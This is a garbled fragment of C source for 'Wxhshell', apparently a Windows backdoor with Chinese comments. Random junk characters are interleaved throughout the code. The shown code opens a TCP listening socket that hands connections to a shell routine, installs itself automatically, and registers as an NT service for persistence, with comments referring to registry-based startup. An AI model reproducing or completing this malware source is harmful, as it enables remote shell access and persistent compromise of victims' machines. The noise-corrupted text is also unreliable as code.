rH&G<o&, return 0; // 注册表启动 aD9rp
V } 79ckLd9 Sk:2+inU // 主模块 AoYaVlKG8 int StartWxhshell(LPSTR lpCmdLine) IdPn%)>6 { bd!U)b(}OV SOCKET wsl; Cq>6rn BOOL val=TRUE; < f(?T` int port=0; z{:-!oF&CB struct sockaddr_in door; -Ep!- a MIq"Wy|Zs if(wscfg.ws_autoins) Install(); 3HZ~. <} ,1Ncl port=atoi(lpCmdLine); x4m 5JDC O:Va&Cyj* if(port<=0) port=wscfg.ws_port; I"@p aLZ q"akrI38 WSADATA data; ['cz;2{:W if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KOey8tB)1 %-+j if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %_MEfuL setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i|]7(z#OyI door.sin_family = AF_INET; R(k}y,eh.` door.sin_addr.s_addr = inet_addr("127.0.0.1"); P7:d ly[,q door.sin_port = htons(port); /b5>Qp Z) Wnow if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
`0bP0^w closesocket(wsl); mN*?%t return 1; ;I}'} } tx"LeZZ x)SralWb if(listen(wsl,2) == INVALID_SOCKET) { m:uPEpcU closesocket(wsl); +dk fcG return 1; [:h5} } ;HNq>/{ Wxhshell(wsl); <8!
Tq WSACleanup(); ;au*V5a% ,zhJY ?sk return 0; 2N5`' e_.Gw"/Yl } :^i^0dC p[9s<lEh // 以NT服务方式启动 |mhKI is U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eQUe
>* { d(-EcY>? DWORD status = 0; \OQkZ.cU; DWORD specificError = 0xfffffff; Apj; H4:&%"j7 serviceStatus.dwServiceType = SERVICE_WIN32;
?>$l serviceStatus.dwCurrentState = SERVICE_START_PENDING; N\NyXh$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aJhxc<"e serviceStatus.dwWin32ExitCode = 0; 7I9aG.; serviceStatus.dwServiceSpecificExitCode = 0; ^{F_a serviceStatus.dwCheckPoint = 0; aI3CNeav serviceStatus.dwWaitHint = 0; _{4^|{>Pv fBhoGA{=g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =2Cj,[$ if (hServiceStatusHandle==0) return; :>+\17tx 29&bbfU status = GetLastError(); iafE5b) if (status!=NO_ERROR) ]y#3@ { _,haD)1g~ serviceStatus.dwCurrentState = SERVICE_STOPPED; V`kMCE;?l serviceStatus.dwCheckPoint = 0; -]srp;=i serviceStatus.dwWaitHint = 0; u0QzLi, serviceStatus.dwWin32ExitCode = status; :nA.j"@ serviceStatus.dwServiceSpecificExitCode = specificError; 6*45Vf SetServiceStatus(hServiceStatusHandle, &serviceStatus); = &tmP return; -C-yQ.>\T# } jQS 6J+F] c9wfsapJ serviceStatus.dwCurrentState = SERVICE_RUNNING; 7f3O serviceStatus.dwCheckPoint = 0; 6gH{R$7L= serviceStatus.dwWaitHint = 0; cl@g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k^\pU\J } k& |